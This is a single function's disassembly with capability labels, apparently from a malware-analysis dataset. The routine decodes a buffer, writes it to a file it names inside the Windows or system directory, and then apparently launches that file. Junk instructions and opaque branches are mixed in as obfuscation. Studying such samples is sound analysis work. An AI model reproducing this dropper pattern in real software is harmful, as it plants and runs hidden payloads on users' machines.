Function at 0x10002d20
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x318
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov eax, dword [ebx]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
add esp, 4
test esi, esi
jne 0x10002d47
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
push edi
test edi, 0x6e34
dec ax
dec ah
or eax, ecx
xor al, dh
or eax, 0x24ad
cmp ax, cx
test eax, eax
dec ah
and di, di
pop edi
pop eax
lea ecx, [ebp + 8]
lea edx, [ebp - 4]
push ecx
mov ecx, dword [ebx]
lea eax, [ebp - 8]
push edx
push eax
push ecx
push esi
lea edx, [ebx + 4]
push 0x4e20
push edx
call fcn.10004360
mov ecx, dword [ebx]
add esp, 0x1c
cmp eax, ecx
mov dword [ebp - 0xc], eax
je 0x10002da4
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jl 0x10002dc5
push dx
mov dx, 0x642f
pop dx
jge 0x10002dc5
out 0xc4, eax
push ds
xor dl, cl
cld
push ss
stosd dword es:[edi], eax
jo 0x10002dc6
push edx
cmp bh, byte [eax]
mov eax, dword [ebp + 8]
mov ecx, dword [ebx]
cmp eax, ecx
je 0x10002de0
inc ebp
or byte [ebx + 0x74c13b0b], cl
adc dl, byte [esi - 0x18]
sbb al, 0x1e
add byte [eax], al
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebx + 0x204]
sub eax, 0
je 0x10002e22
dec eax
je 0x10002e0e
dec eax
je 0x10002dfa
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x110]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
jmp 0x10002e4d
lea edx, [ebp - 0x110]
push 0x104
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
jmp 0x10002e4d
lea eax, [ebp - 0x110]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [ebp - 0x110]
push 0x5c
push ecx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
test eax, eax
je 0x10002e4d
mov byte [eax], 0
add ebx, 0x208
lea edx, [ebp - 0x110]
push ebx
push edx
lea eax, [ebp - 0x318]
push 0x100061c0
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
push ecx
cmp cl, 0x3f
or ch, dl
cmp cx, cx
or ch, 0x1f
pop ecx
lea ecx, [ebp - 0x318]
push 0x100061c8
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
jne 0x10002eaa
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
xor bx, 0x70c5
sub ebx, eax
or bx, cx
xor bl, bl
test cx, bx
cmp bh, cl
mov bh, 3
pop ebx
mov ebx, dword [ebp - 0xc]
push edi
push ebx
push 1
push esi
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
cmp eax, ebx
je 0x10002ee6
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 8
push edx
cmp dl, al
and dl, 0x4e
or dl, 0x38
and dl, al
and edx, eax
xor dh, 0x3c
add dh, bh
or edx, 0x604
add dh, dl
pop edx
call fcn.10002860
test eax, eax
jne 0x10002f21
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
push ebx
push edx
xor bx, si
and dl, 0x7f
dec bh
test bh, 0xd
pop edx
pop ebx
pop eax
lea edx, [ebp - 0x318]
push 0
push edx
call dword [0x10006594]
jp 0x10002f58
push edi
mov di, 0xb224
pop edi
jnp 0x10002f58
xchg edx, eax
clc
mov esi, 0x34a96cf4
inc eax
lds ebp, [0x5f17b43a]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret